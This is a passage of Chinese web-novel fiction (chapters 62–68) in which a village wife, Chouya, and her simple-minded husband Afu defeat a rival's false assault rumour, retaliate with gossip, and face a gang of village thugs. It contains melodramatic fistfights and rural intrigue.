她没将话给说明白,而是低头掩唇娇羞地笑着,在外人看来,便是她和阿福之间昨天发生了什么不可告人的事。 她是故意这样说给丑丫听得,女人听到自己的丈夫和另外一个比自己优秀,比自己美的女人有瓜葛,没有不怀疑的。 她若识相的话就应该意识到,她配不上这个男人,离他远远的,让他和更优秀的女人在一起才是正确的! 丑丫看了一眼篮子里的东西,唇角勾起一抹嘲讽的笑,她当然听得出她话里有话,不就是想挑拨离间? 但她错估了她对阿福的信任,错估了她和阿福的感情! “原来你就是阿福和我说的嗓子被鸭子嘴夹住的大姐啊,昨天我还纳闷哪儿有人的嗓子会被鸭子嘴给夹住,但今天算是见识到了。” 她也学着吴芳草的样子掩唇轻笑,只不过她是假娇羞,而她是真嘲讽。 昨天阿福放马回后问她的第一个问题就是为什么有人说话会像嗓子被鸭子嘴夹住一样,她当时愣了好久,不知道他为什么会有这么奇怪的问题。 等听阿福将事情说完后,她笑得腰都直不起来了,不知道是该夸他聪明还是傻。 吴芳草那分明就是想勾搭他,可这傻憨憨的男人没看出来,还觉得人家是不怀好意的坏人,更问了人家那种能将人给气死的问题。 吴芳草的表情僵住了,再也笑不出来,她没想到,这个傻子会将昨天的事告诉丑丫,那么丢脸的事,他居然让丑丫给知道了! 但丑丫的话还没结束,她嫌弃的瞥了一眼她篮子里的糕点:“你这糕点是珍品斋里最便宜的那种吧,还是趁掌柜打烊前买的卖不完的次等货。” “不好意思,我们家阿福吃的都是珍品斋里的绿豆糕、枣泥糕、桂花糕这些上等货,你这样的她不喜欢吃!” 阿福立马跟着丑丫点头附和:“不吃不吃,我只吃我娘子买的!” 吴芳拎着篮子的手捏得紧紧的,把手上细小的竹刺都要扎进她手心里,胸膛剧烈起伏,既是被气的也是羞的。 珍品斋的糕点,村里人家一年到头也吃不上一次,而她却经常能给家里买,虽然买的都是一些品相不佳的残次品,但那也是粮食和白糖做的,他们居然敢嫌弃! 丑丫和阿福气完了人,绕开吴芳草就准备走,至于大黑马,都不带拐弯的,在它的认知里,只有人让它的份儿,哪有它主动让人的。 所以它拉着一车柴,不管不顾直直的朝着还拦在路中间的吴芳草走去,吴芳草一个愣神的功夫,大黑马就走到了她跟前,只差一步就要将她给撞倒,再踩在蹄下。 她吓得尖叫一声,慌乱的往一旁退,恰好脚边有一个石头,一时没注意,脚便踩到了石头上,摔了个狗啃泥,篮子里的糕点也洒了一地,裹了灰尘。 丑丫和阿福听到动静,转身一看,看到的便是吴芳草嘴里塞了一口尘土,头上的绢花也歪了的画面。 丑丫笑道:“知道你很急,但走路也要看路,看,这不摔了?” 她的语气里满是拿你没办法的无奈,好像真在为吴芳草考虑一般,可吴芳草却气得脸都歪了。 她气得在地上扑腾两下,然后站起来,连呸好几声,将嘴里的灰尘给吐出来,连着两天都吃土,她这是什么运气! 将脸给擦干净,她拔高声音,叫住了前面的人:“丑丫,你给我站住,我有事和你说!” 第63章 我只喜欢娘子 丑丫没回头,也没停住脚,只回道:“我没话和你说。” 吴芳草一脸扭曲,跺了两下脚,随即又嗤笑道:“怎么?你不敢吗?就这么怕我接近阿福哥?怕我将她从你身边抢走吗?” 这次丑丫停下了,转身看着她,眉宇间皆是寒意:“你说的话最好能引起我的兴趣!” 吴芳草怔愣了一瞬,看着丑丫觉得很陌生,她和她已经有好几年没好好见过,以前那个被他欺负得死死的小可怜,现在好像已经变了。 但马上她就回过神来,神情依旧是以往的高傲和轻蔑,呵,不就是觉得身边有个男人有依靠了,才敢这样和她说话吗? “你过来,我单独和你说!” 她不能当着那男人的面说,她要在他面前保持完美的形象。 丑丫抬脚便走过去,想听听这女人到底要说些什么大逆不道的话,但是身边的阿福却一把拉住她,神色警惕地看着对面的人,生怕她受了别人欺负。 “我娘子不想和你说话,你有什么话,就在那里说!” 阿福像护崽的母鸡一样把丑丫给护在身后,连吴芳草看一眼都不让。 吴芳草一阵心塞,为什么那个男人护着的不是她! 但尽管心里再扭曲,在男人面前,她还得装作一脸温柔:“阿福哥,你放心,我就和丑丫说一些体己话,不会为难她的。” 阿福不信,神色依旧很冷,这女人看着就不像个好人! 丑丫笑着从阿福身后探出脑袋,拽了拽他的胳膊,柔声笑着:“别担心,你就在我身边,她不敢对我怎样的。” 阿福低头看了眼小小一只的娘子,眉头微微皱起,怎么总有人打他娘子的主意,娘子这么瘦小,很容易被人欺负。 但是娘子都说她要去了,他也不能拦着,只能盯紧对面的女人,只要她敢对娘子下手,他就一脚踹死她,再让大黑马在她身上跳舞! 丑丫得了阿福的准许,走到了吴芳草身边,面无表情:“说吧。” 吴芳草双手抱胸,高傲地仰着脑袋,只要她和丑八怪站在一起,有眼睛的人都知道谁高谁低。 “我要你离开阿福哥,你也不想想,他那么好看,身边站了一个你,走出去多少人会笑话他?” “他那样龙彰凤姿的人岂是你能配得上的,你若真的爱他,就应该离开他,让他选择更好的人?” 丑丫面无表情地听着她将话说完,随后唇角勾起一抹嘲讽的弧度:“那照你所说,什么样的女人能配得上他?你这样的?还是说,你的意思是想让我赶紧离开,给你挪位置?” “呵,吴芳草,你还真将你自己当天仙了?若你真是天仙,怎么还没找到如意郎君,当上你的富家夫人?我没记错的话,你应该已经十八了吧?村里没出阁的姑娘应该数你最大。” “怎么,嫁不掉就把主意打到我家阿福身上了?我告诉你,就算没有我,阿福也看不上你,因为他有一双会识人的眼,心脏的人,他看不上!” 对于吴芳草会看上阿福这件事,丑丫并不感到意外,阿福那么优秀,走在大街上都能吸引无数目光,更别说吴芳草这个自命不凡、眼界都高到头顶的女人。 她的追求者数量虽多,但质量却堪忧,突然眼前出现这么与众不同的阿福,她自然会喜欢。 而且,更不用说,阿福还和她扯上了关系,小时候,她手里但凡有什么稍微好点的东西,她都要让人给抢去。 吴芳草被骂得节节败退,要不是阿福就在不远处虎视眈眈地盯着她,她都要上手教训丑丫了。 几年不见,丑丫真的变了,牙尖嘴利、气势逼人,不像小时候那般好欺负。 她强忍下怒气,脸依旧高傲地扬着,讥笑道:“不管你怎么说,我都只想告诉你,我要和你公平竞争阿福哥,别以为我不知道,你们名义上是夫妻,但并没有办过成亲仪式,既无父母之命,也无媒妁之言,你们根本不算是夫妻!” “你们不是夫妻,那我有权追求他,他也有权选择更适合的人!” 丑丫的心口莫名升起一股烦躁,不想再和她浪费口舌:“你有如此想法,不去给别人当姨娘真是可惜了,随你怎么想,我不想和你浪费时间!” 丢下这句话,丑丫跑回阿福身边,和他一起回家。 回到家中,丑丫的情绪不高,虽然她没将吴芳草放在眼里,可突然跑出一个女人和她说,要跟她抢男人,她的心情还是受到了影响。 阿福将板车上的柴火给卸了,看娘子闷闷不乐的样子,进厨房给她冲了一杯蜂蜜水,然后坐到她身边。 “娘子,喝蜂蜜水,我放了很大一块蜂蜜,很甜的。” 丑丫没接杯子,而是侧眸看着阿福,那张脸,她无论看了多少次,还是觉得好看得过分。 他的眸子清澈又勾人,里面倒映着自己,这么看着她的心就忍不住酸了起来,两只手摸上阿福的脸。 扯一扯,再摸一摸,小声的抱怨:“阿福,你怎么这么勾人喜欢,我将你藏起来还不好。” 藏起来,不让别人看到,他就是她一人的阿福,眼底永远只有她的阿福。 阿福乖巧的由着娘子捏脸,认真的回答:“好,娘子把阿福藏哪里都可以。” 丑丫噗嗤笑出声,心底那点小烦躁也消散了不少,接过阿福手里的蜂蜜水,喝了一大口:“嗯,好喝,阿福冲的蜂蜜水真甜!” 阿福见娘子笑了,他也跟着浅笑,抬手将她搂进自己怀里,让她靠着自己的胸膛,声音闷闷的:“娘子,你和那个坏女人说的话我都听到了,你不要听她胡说,阿福只喜欢娘子,其他人都不喜欢。” 他知道娘子不开心是因为那个女人说了那些烦人的话,他不知道如何哄娘子开心,只能用这种笨拙的方式,说出自己最真诚的话。 丑丫眼角湿润,心也又酸又软,她点头:“嗯,我知道,我的阿福最好了。” 第64章 吴家人来找茬 吴芳草自从和丑丫挑破脸皮后,勾搭阿福都不挑时候了,当着她的面就给阿福送东西。 这次送双鞋垫,被阿福直接扬手就扔了,下次送张帕子,阿福直接上手就撕了,然后再还她几片碎布,还有一次送个香囊,阿福说比屎还臭,让她自己留着用,和她很配。 每一次吴芳草都是兴高采烈的来,然后再被气哭跑着回去,丑丫也是佩服了她百折不挠的毅力还有那张厚脸皮。 还有五日就过年了,丑丫和阿福在家做年糕,吴芳草已经有两日没来煞风景了,丑丫以为她的厚脸皮已经磨平了。 蒸熟的糯米不停地用杵棒捣,捣成粘稠拉丝的米团,再抹上油,团成自己想要的形状。 做年糕十分耗力气,力气小的就算耗尽全身力气,都不一定能将糯米给捣好,但阿福一身的力气,握着杵棒不停地捣,不需要多久米团就被舂好了。 因为捣年糕发力,身上出汗太热,阿福便将棉衣给脱了,丑丫从厨房出来就见阿福脱了衣裳,赶紧放下手里的东西跑了过去,将衣裳给他穿上。 “阿福听话,把衣裳给穿上,天冷,把衣裳脱了会受凉的。” 阿福不满地嘟囔:“热,出汗了,不舒服。” 丑丫不管阿福的抱怨,帮他将衣裳穿得严严实实的,领口的纽扣扣上了,腰带也扎得紧紧的。 “就是因为出汗才更不能脱衣裳,一会儿热,一会儿冷最容易生病了。” 她还在絮叨着教育阿福,院门处却传来剧烈的敲门声,还有叫骂声。 “丑丫,赶紧滚出来!” 丑丫停住动作,仔细听着外面的动静,貌似来人还不少。 阿福的神色一瞬间变得冰冷,盯着门口的方向,作势要冲过去开门揍人。 丑丫拉住他,神色严肃:“阿福,别冲动,我先问问情况。” 她走到门边,没开门,隔着门问道:你们要干嘛?“ 院外的人听到有人回复,叫嚣得更厉害了,将门拍得啪啪作响:“赶紧将门给打开,你家傻子欺负了我女儿,给我负责!别躲着不敢开门!” 一个中年男人的声音聒噪地吵着丑丫的耳膜,她跟村里的人不太熟,但听着这话,大概也能猜到是谁。 吴芳草的爹,吴青山。 说阿福欺负吴芳草?这是转变策略了? 亏他还以为吴芳草安分了两天是因为想清楚了,不再纠缠阿福了呢! 吴青山等不到人开门,便将脸贴在了门上,透过门缝看里面的动静,见丑丫就站在门口,他激动大叫:“我看到你了,别给我装着,赶紧开门!” 丑丫如他所愿,拔掉门栓,猛地一开门,吴青山还贴在门上,一时间没了倚靠,直接摔进了门,牙齿磕在地上,门牙缺了一块。 他哎呦一声惨叫,还没等反应过来,人已经被阿福给扔出了门外,不想让他污染了他和娘子的小院子。 丑丫双手抱臂站在门边,冷眼看着门外的十多个人,吴家真是好样的,将村长和村里几个说得上话的人都请来了。 “要说什么就在门口说吧,小院简陋,就不让各位进去坐了。” 跟吴家前来的十多个人见阿福两手就将长得并不瘦弱的吴青山给拎了出来,都吓得心里咯噔了一下,不自觉地往后退了一步。 吴青山痛吟着从地上爬起来,摸了一把被磕破的嘴唇,疼得抽气,说话漏风:“各位乡邻看到了,这个傻子欺负我女儿在先,现在又对我动手,大家要为我吴家做主!” 话落,人群中一个五十多岁的精瘦老头站了出来,脸扬着,一脸高高在上的做派,他就是清河村的村长。 村长清了两声嗓子,指责一般的口吻开口:“丑丫,你家傻夫昨日在后山欺负了吴家女儿,今又害吴青山受伤,是该给吴家一个说法。” “按村里规定” 他还要继续说下去,丑丫直接打断他的话,语气凌厉:“你们说我家阿福欺负了吴芳草,证据呢?什么时辰?具体在哪个地方?他又是怎么欺负她的,先动的左手还是右手?” 村长被问得一噎,气得臭着一张脸,不仅是气丑丫打断他说话,无视他村长的威望,也是气丑丫的问题他回答不出来。 吴家人只说吴芳草昨日在后山遇上了放马的傻子,被污了名节,让他来帮忙做主,他哪儿问过那么多。 在他看来,吴家闺女长得好看,长期看着丑丫那张丑脸,傻子突然见到美女,一冲动犯了事儿也是正常,哪有男人不偷腥的! 丑丫乘胜追击:“这就回答不出来了?你们口口声声说我家阿福欺负了吴芳草,却拿不出证据,不能你们说什么就是什么,我们自认倒霉吧?” 吴青山捂着发疼的嘴唇,自信又笃定道:“在后山山脚的那块草地上,你家傻子每天都到那儿放马,村里人都知道!” 女儿迟迟不能拿下傻子,吴家一家子便动起了歪心思,既然主动的不行,那他们就让傻子迫于外界压力不得不做他们吴家的女婿。 丑丫与村里人为敌,没人会向着她,只要他们造谣傻子欺负了自家女儿,再由村里德高望重的管事人出面调解,让傻子休了丑丫再娶他们女儿,以此来堵住村里的悠悠众口,维持颜面。 丑丫自然是不信阿福和吴芳草之间有什么的,但觉得他们的脑回路甚是有趣,这样造谣,坏的不仅是阿福的名声,同样也坏了吴芳草的名声。 他们就这么笃定阿福会娶吴芳草让这件事圆满解决吗?若他们失算,阿福没娶吴芳草,那她今后背着个不洁的名声,还如何嫁人? 丑丫所想正是吴家人所笃定的,他们可是有全村人作为后盾,丑丫和阿福两个再厉害,不过是被村子排外、孤立的可怜虫。 为了保住村子的脸面,平息村里人的怒气,阿福就不得不娶吴芳草。 阿福听到吴青山说他昨天去的是后山山脚,嘴角立马勾起一抹好看的弧度,想要反驳。 他昨天根本不是去的山脚放马,而是去了和娘子一起打到野猪的小溪边,想碰碰运气看能不能再遇上野猪。 他刚要出声,丑丫却轻轻扯了扯他的衣袖,面上含着浅淡的笑意,示意他别说话。 第65章 芳草姐姐和几个男人玩妖精打架的游戏 她安慰好阿福,转身看向吴青山等人,面色却变得尤为苍白,表情惊恐带着破碎感,好像有什么天大的把柄被人抓住了一般。 她身形不稳,摇摇欲坠,眼神呆滞着轻轻呢喃:“没想到还是被你们给发现了!” 在场的所有人,除了阿福知道娘子接下来要干什么之外,其余人全都一脸蒙圈,特别是吴青山,满脑子浆糊,一颗心也悬了起来,这小蹄子又要搞什么幺蛾子? 阿福在一旁乖乖站着,满脸宠溺地看着娘子,静静地等着她接下来的表演。 丑丫长长叹了一口气,一脸为难地道:“既然都被你们发现了,那我也就不瞒着了。” “是,没错,我家阿福昨日到过山脚放马!” 她话音刚落,吴青山满脸喜色,急着向村长等人证明:“看吧!她亲自说了!傻子的确到过山脚,就是他欺负了我女儿!” 村长等人闻言,心也安定了不少,只要他们抓住了丑丫和傻子的错处,就有办法整治他们! 丑丫一脸哀凄地看着吴青山,语气同情道:“吴叔,我知道您难过,但也要听我把话说完不是?” “这事儿我本来是不想说的,想替芳草姐姐留点颜面,但你们把罪名按在了我家阿福头上,我也不得不说了。” “昨日我家阿福是到过山脚,也遇上了吴芳草,但他可没有欺负她,而是看到她在和村里的几个男人在玩妖精打架的游戏!” “他们玩得可开心了,我听阿福说,芳草姐姐还满脸笑容呢,我想想看是哪几个男的” 她做出一脸思考状,眼神扫过村长几个陪同吴家来的人,众人被看得心里发毛。 而吴青山,已经被这转了好几个弯的话给气糊涂了,这不是造谣吗?他女儿昨日好好在家,哪里去玩过妖精打架了! 丑丫思索一会儿,像是终于想起来一般,捂着脸难以启齿道:“我想起来了,村长家的大孙子好像就在,阿福看到的时候,他正和芳草姐姐打着架呢,哦,还有张叔家的儿子也在,全身光溜溜地在一旁排队” “李叔家的小孙子也在,才十岁的娃居然也跟着去凑热闹,真是让人大开眼界” 丑丫说得绘声绘色,仿佛她真的亲眼所见一般,吴青山、村长和陪同来的一行人,脸都气绿了。 村长咬牙切齿,字一个个从牙缝里蹦出:“一派胡言!有辱斯文,岂能容你如此污蔑人清白!” 这大乱炖的场面,他都不敢想,她居然还能说得出口! 吴青山紧随其后:“你个毒妇,我清清白白的闺女被你如此造谣,她以后还怎么做人!” 丑丫的眉宇间扬着一抹嘲讽的笑,冷厉开口:“为何你可以造谣污蔑我家阿福,我就不能拿你闺女讲个笑话了?” “原来你也知道被污蔑会没法做人,那你们空口造谣我家阿福的时候,怎么没想过他会受人指点?” “嘴上随便编排几句就能当作事实打上门来要人负责了?那我今日说你女儿和全村男人睡了,你是不是要将你女儿给沉塘?” 丑丫的话掷地有声,吴青山被堵得支支吾吾,一时间想不出该说什么是好。 就在这时,吴芳草矫揉造作又期期艾艾的声音传来:“阿福哥,你真的不要我了吗?可你昨日明明同我海誓山盟” 吴芳草一张小脸白得像纸,手上捏着帕子掩面,一颗颗晶莹的泪珠从眼角滑落,一副被心上人抛弃伤心断肠的凄惨模样。 吴青山见女儿来了,松了一口气,她这张嘴,是真的说不过伶牙俐齿的丑丫。 吴芳草娇弱地走到众人跟前,扑通一下便跪在地上,仰头红着眼圈看向村长等人。 “叔叔伯伯,阿福哥若不愿娶我,你们就不要逼他了,一切都是我的错,你们不要怪他,我此后便削发为尼,常伴青灯古佛,绝不会给我们村丢脸的。” “是丑丫先遇上的阿福哥,阿福哥顾及她,不愿承认我们这段感情也是应该的,我和他只能有缘无分” 她哭得梨花带雨,说的话深明大义,好像她和阿福才是天造地设的一对,而丑丫则是破坏他们感情、横刀夺爱的第三者。 村长等人见吴芳草这么明事理,再看丑丫,就愈发的厌恶了,就算吴芳草和傻子之间没发生过什么,他们也想将丑丫和傻子给拆散了,没了傻子的武力庇护,看她以后还怎么神气! 丑丫冷眼看着吴芳草,对她的感觉不仅有厌恶,还有恶心,为了勾引她家阿福,她还真是无所不用其极! 她想说些什么,却见身旁的阿福低头在身上掏了掏,然后掏出一把匕首。 他看着匕首,满意地勾唇笑了笑,然后拔掉刀鞘,将闪着寒光的匕首丢到吴芳草跟前。 “你不是要削发为尼吗?刚好,我这里有把刀,你也不用回家再削了,现在就可以。” 阿福满眼亮光的等着吴芳草接下来的动作,他还从来没听过这么合他心意的要求,削发好啊,削了发,她就没办法再来打扰他和娘子的生活了。 吴芳草被突然扔到跟前的匕首吓了一跳,再听男人这话,她一脸不敢置信地抬头看他。 她说削发不过是想要博同情,并不是代表她真的想当尼姑啊! 她憋得脸色涨红,嘴张了好几次,却不知道该说什么。 丑丫可不管现在微妙的气氛,扑哧一声便笑了起来,吴芳草气得瞪了她好几眼。 她握着阿福的手,抬眸看他,越看便越满意,她家阿福,怎么可以这么可爱! 村长见这情况,适时的出来打断:“好了,芳草,你先将昨日发生的事情事无巨细地告知我们,若是你受了欺负,我们绝不会坐视不管,一定给你主持公道!” 吴芳草低下头,娇羞无比,可心里却洋洋得意,她可是有村长帮忙撑腰,就算造个谣怎么了?还不是照样能抢将男人给抢过来! “昨日,我上山砍柴,在山脚遇上了放马的阿福哥” 她娓娓道来,说话的底气很足,她之前可是观察过,傻男人只要去放马,去的都是山脚那块草地,荒郊野岭的,也没有人能证实她所说的话,还不是随她编排。 第66章 阿福生病,丑丫被堵 丑丫听完她的话,心里冷笑,随后啧了一声:“啧,芳草姐姐这就不地道了,我和阿福好心帮你保守秘密,你居然想将锅给甩我家阿福头上,难不成是你肚子里已经有了孩子,不知道孩子爹是谁,找我家阿福接盘?” 不就是造谣嘛,谁不会似的! 吴芳草气得脸一阵青一阵白的,刚才她一直躲在不远处偷听,自然是听到了丑八怪造谣她和几个男人苟合的事情,现在居然还污蔑她暗结珠胎,真是恶毒至极! “丑丫妹妹,你怎么能这么说呢,女儿家的名声有多重要你又不是不知道,若不是昨日失了清白,我是断然不会来破坏你和阿福哥的感情的!” 戏听够了,也演够了,丑丫不想继续和他们纠缠下去,她挺直身板,神色肃穆:“你们听好了,我只说一遍,我家阿福和吴芳草没有任何关系,更不存在污了她清白这种事!” “昨日我家阿福是去了山里放马,但没有去山脚,而是去了山谷的溪边,那里估计还有我家大黑马拉的粪便可以作证,你们若不信,大可以去看看有没有新鲜的马粪。” “至于吴芳草,你三番五次勾引我家阿福,他不搭理你,你便想出这种恶毒的计策,我会铭记在心,一点点给你还回去!” “阿福,送客!” 她高喝一声,阿福立马扯过门后的扫帚赶人,扫帚不长眼,在他的手里更是不长眼,门外站的众人,还没来得及反应,已经被打了两扫帚。 人群四分五裂地逃跑,边逃边骂骂咧咧,将他们最恶毒的话都骂了出来,吴芳草不甘心,还想再坚持,可吴青山见傻子打人那架势,害怕得扯住女儿就逃跑。 阿福看着吴青山父女,眼底的厌恶神色掩饰不住,见他们跑远,他弯腰捡起地上的两块小石子,百步穿杨,百发百中。 像是随手一扔的两颗石子,却无准确地飞向了两人,一颗打中了吴青山的腰窝,他惨叫一声,摔在地上便动弹不得。 而另一颗则从吴芳草的侧脸划过,在她脸上划出一道血痕,皮开肉绽,血流了满脸。 吴芳草不敢跑了,摔坐在地上捂着自己的脸,满脸的惊恐,就连一旁哀嚎呻吟的亲爹都顾不及。 她最得意的便是她那张脸,如今脸毁了,比杀了她还难受! 她捂着脸嚎啕大哭,吴青山趴在地上挣扎着想站起来,可腰部却像断了一般,稍稍一活动便钻心的疼。 父女俩惨叫痛哭的声音如破锣,刺得人的耳膜疼,阿福和丑丫关了院门,眼不见心不烦。 但对他们的教训却并未就此收手,打一顿是对他们最基本的惩罚,更深层次的还在后头。 村里的妇人最爱嚼舌根,早上才刚传出的一点苗头,下午已经长成了苍天大树,丑丫只要稍稍放出一点吴芳草的传言,一个晌午的功夫,她的事迹就已经满村皆知了。 山脚下一女多男苟合,惊呆众人的眼,在长舌妇们的传播下,现在已经进展到吴芳草肚子被搞大,但却不知道孩子爹是谁的阶段了。 村里风言风语传得沸沸扬扬,大概是快过年了,有了一件新鲜事儿,大家说得乐此不疲。 至于阿福和丑丫,关起门来过自己的小日子,外面的风雨和他们无关。 丑丫厌恶恶意中伤人的谣言,但若有人要用那种手段来陷害她或她在乎的人,她也不介意让他尝尝自食恶果的滋味。 眨眼到了除夕,吴家人没再来打扰阿福和丑丫,但丑丫却遇上了另一件难事。 阿福生病了! 一向体魄健壮的阿福赶在年底生了一场风寒,大概是平常不生病,他这次的病来势汹汹,发烧、腹泻、呕吐,整个人病得都虚脱了,丑丫担心得坐立不安。 好不容易过到了一年的最后一天,阿福却病得下不了床,丑丫的心七上八下的,家里的药已经喝完了,将阿福给哄睡着后,她背上背篓便往镇上赶,去给阿福抓几服药。 大早上的空气很冷,路边的野草都被霜给冻黄了,呵一口气,都是白白的雾气,但丑丫却感觉不到一点寒冷,她心浮气躁,恨不得自己会飞,能够立马飞到镇上去抓药。 此时她也痛恨自己没用,这么久了还是没学会骑马和赶马,只能靠着自己的两条腿慢腾腾地走到镇上。 她心里焦虑,脚下的步子很快,到了镇上买了风寒的药,来不及歇一口气便又往家里赶。 眼看进了村子,离家没有多少距离,她才长长松了一口气,可人越忙的时候,却总有麻烦找上门。 刚进了村口没多少距离,丑丫就被一群人拦住了。 对面的是十多个大大小小的男人,有二三十岁还没娶到媳妇儿的邋遢单身汉,也有村里那些游手好闲、偷鸡摸狗的混混,更有毛都还没长齐的十岁出头小屁孩。 但他们都有一个共性,吴芳草的追求者! 丑丫对他们再熟悉不过,吴芳草还没去镇上学刺绣时,她没少受这群人的欺负,这次大概又是被吴芳草撺掇来找她麻烦的! 为首的青年混混何勇嘴里叼着根草,手里握着根从家里顺出来的擀面杖,他痞里痞气,吊儿郎当道:“等了几日,可终于让爷等到你落单的时候了!” “就是你这小娘们造谣芳草偷人,让她连门都不敢出的?这张嘴这么臭,小爷我今日就来好好帮你洗洗!” 身后一个跟班阴恻恻笑着,狗腿道:“勇哥,还和她费什么话,直接上不就行了,芳草姐可是说了,只要你为她报仇,她就嫁给你,我们可是等着喝你的喜酒呢!” 跟班们起哄大笑,何勇也笑得一脸得意,他追了吴芳草这么多年,可算是等到她松口了,不就收拾一个丫头片子嘛,简单得很! 丑丫听着他们的话,心沉了下来,看了眼家的方向,她心里升起一丝烦躁,不知道阿福怎么样了,她还要回去给他熬药呢。 但她也知道今天这一架是不打不行了,她把背上的背篓给放下,将里面的几包药给拿了出来,放进自己的衣服里。 这是给阿福治病的药,一会儿打起来被弄撒了可不就不好了,好在棉服做得宽大,往里面塞几包药不成问题。 第67章 死后化成厉鬼,让你们陪葬 丑丫今天出门走得急,没拿什么防身的武器,如今只能赤手空拳和人搏斗。 何勇也没想和她多说什么,手一挥,他身后的那些小混混便蜂拥而上,丑丫身姿灵活,在人群中躲闪回避,一时间没人能抓住她。 她抢了一个跟着来凑热闹打架的小屁孩手中的木棍,抬脚便踹了他一脚,将他踹倒在地上哇哇大哭。 手里有了武器,她的处境也没那么被动了,手里的木棍不要命一般往别人身上打,砰砰的闷响声一声接一声,惨叫声也此起彼伏。 她打红了眼,眼前的场景仿佛回到了几个月前,她在玉米地里将李狗蛋打死的那一幕。 飞溅的血液、合不上的双眼,此时,她也想像那样,让这群活动乱跳的人,在她手里成为没有生机、任人摆布的烂肉! 混混们有些畏惧她这种不要命的打法,有几个胆小的,已经跑到一旁去观战去了。 何勇一开始并不想亲自动手,对方不过一个手无缚鸡之力的臭娘们,随便派两个小弟过去就能收拾她,但看了一会儿情况,看小弟们的怂样,他便忍不住自己下场了。 他能当上这群小弟的大哥,自然也是有些优势的,比如他打架狠! 他挤进人群中,看着丑丫被人缠住分身乏术,举起手中的擀面杖,朝着她的头打去。 只要一下,她就会头破血流! 但丑丫反应灵活,察觉到身后有杀气,她一个巧妙的转身,避开何勇的攻击,再灵活的抬脚,朝着他的胯间踢去。 男人最脆弱的部位莫过于此,裆部结结实实挨了一脚,何勇立马失去了攻击能力,手里的擀面杖也掉在了地上,捂着胯间跳脚。 被打了,何勇的怒气更甚,嘶嚎着命令小弟们往死里打。 丑丫身手再灵活,可她毕竟是个女子,力气不如男人,再加上对方人这么多,她双拳难敌众手,力竭后,没一会儿便被何勇的小弟们给抓住了。 被两个混混钳制住了两条手臂,丑丫挣脱不了,但她的脸上没有畏惧,反而是一股狠辣的戾气。 何勇被她瞪得不爽,都被抓住了居然还敢瞪她,简直不知天高地厚! 他胯间还隐隐作痛,走起路来很不自然,歪歪扭扭走到丑丫跟前,抬手便在她脸上扇了一巴掌。 他使的力气很大,只一巴掌,丑丫的脸上立刻多了一个红肿的巴掌印,耳朵出现短暂的轰鸣,嘴角也有血迹滑落。 “臭娘们,你再横啊?不是很能打吗?我就站在你面前,有本事你来打啊!” 何勇满眼的嘲讽与轻蔑,再次抬手往丑丫另一边脸颊扇了一巴掌! “这样才对称嘛,来欣赏一下小爷的手艺,这巴掌印是不是比她脸上恶心的胎记好看?” 何勇越说越得意,猖狂地笑着,身边的小弟多阿谀奉承,也随着哄笑,将丑丫当做一件滑稽的物品上下打量。 丑丫的拳握紧,一口银牙咬得紧紧的,眼神冷若寒刃,以前受的屈辱又在眼前重现,她想杀了他们! 趁众人哄笑之际,她不顾两条手臂被扭得生疼,奋力挣扎,挣脱了他们的禁锢。 何勇就在她跟前叉腰得意地笑,她挣脱了也不想逃跑,所有的愤怒和杀意驱使着她出手,让眼前的人永远的闭嘴! 她像一只敏捷的猎豹,猛地一脚踹向了何勇的腹部,让猝不及防的他摔倒在地上,在地面摩擦滑行了一大截。 但这还未结束,她扑向前,将挣扎着想从地上爬起来的何勇又按回了地上,手握成拳,如同密集的鼓点,一拳一拳往他脸上砸去! 手碰撞上坚硬的脸部骨骼,是痛的,她的手背撞破了皮,可她却毫无所觉,胸中只有滔天的怒气。 砰!砰!砰! 一拳又一拳,何勇的一张脸被打得红肿成猪头,鼻梁骨断了,血糊了满脸,丑丫的手上也沾满了血迹,有她自己的,但绝大多数都是何勇的。 跟随何勇的那群乌合之众被这突发的情况给吓愣了,一时间竟没人反应过来去制止丑丫,直到听到何勇惨叫着怒骂才回过神来。 “还不快把她给拉开,老子操你娘的!” 跟班们蜂拥而上,去将按着何勇打的丑丫给拖离,丑丫已经打红了眼,使出浑身力气挣扎,即使寡不敌众,被人给拖走,她还是将何勇的脸和手都给挠花了,疼得他吱哇乱叫。 这次跟班们不敢掉以轻心,四五个人钳制着丑丫,生怕她又跑了,其余人将躺在地上骂骂咧咧痛吟的何勇给搀扶起来。 何勇被打得鼻血止不住地流,眼睛也肿了,只能睁开小小的一个缝,他气得浑身发抖,喊话间破了音:“给我按住她,我要打死她!” 丑丫身后的一个十三四岁的小跟班最会阿谀奉承,听何勇这么说,抬脚便往丑丫的腿弯踹了一脚,狗腿至极:“还不给我们老大跪下!” 丑丫腿弯迎来一阵猛烈的疼,身形控制不住地往下坠,但她强行忍住了,站得稳稳当当,转头看向那个踹他的少年,眼神似一潭幽深的死水,少年不禁被吓得后退了两步。 但下一瞬,丑丫就觉得头皮传出被撕扯一般的疼,脑袋被强行转了过来,入眼的便是何勇那张肿胀的猪头脸。 何勇拽住她的头发使劲撕扯,随着呼吸,鼻孔还有血流出:“臭娘们,是老子低估你了,今天不给你点教训,我就没法在十里八村混!” 他一手扯着丑丫的头发,让她的脸躲不了,另一只手扇着她耳光。 两耳光过后,丑丫也开始流鼻血,血顺着她的脸,滴落到衣领上,她没掉眼泪,微微张嘴,嘴角上扬,笑了起来。 她口腔里也有血迹,那个笑,让她如同从地狱里爬出来的,啃食生肉的厉鬼。 “哈哈哈,你打啊,打死我!我怨气这么重,必能原地化为厉鬼,让你们一个个为我陪葬!” 何勇觉得眼前的女人就是个疯子,她的笑,笑得他毛骨悚然,他放开了她,离她两步远,随后招呼了一个拿着木棍的跟班。 “你,给我狠狠打她,打死了算我的!” 跟班握紧木棍,有些犹豫,但对上何勇杀人一般恐吓的眼神,只能提棍走上前,举高,瞄准丑丫的脑袋,准备用力挥下! 第68章 娘子,疼不疼? 丑丫闭上了眼,心里涌起一阵撕心裂肺的伤感,她的阿福还生着病呢,要是没有药,他会不会一直好不了? 若是她今天死了,阿福会为她难过吗? 若是她死了,阿福会不会遇上另一个女人,如同他们初遇那般,傻傻的叫别人娘子? 她难受得挠心挠肺,在生命即将走到尽头前,她的脑海里只有阿福,那个给了她所有温暖的傻男人。 人群在起哄,让那人快点动手,下一瞬,丑丫听到耳边有木棍挥下带出的一阵劲风的声响。 她这辈子,就要这样结束了吗? 她已经做好了迎接剧痛的准备,可许久都没等来,只有耳边一阵慌乱的惊呼声以及惨叫声。 丑丫睁开了双眼,顺着人群看去,就见她的阿福就站在人群外,那双眼紧紧锁在她身上,眼神里有心疼,有愤怒。 她又笑了,可这次的笑却夹杂着心酸,被围堵、被打的时候她都没哭,现在眼泪却不争气地流了下来。 像是和人打架打输的小孩,终于等来了为他撑腰的家长。 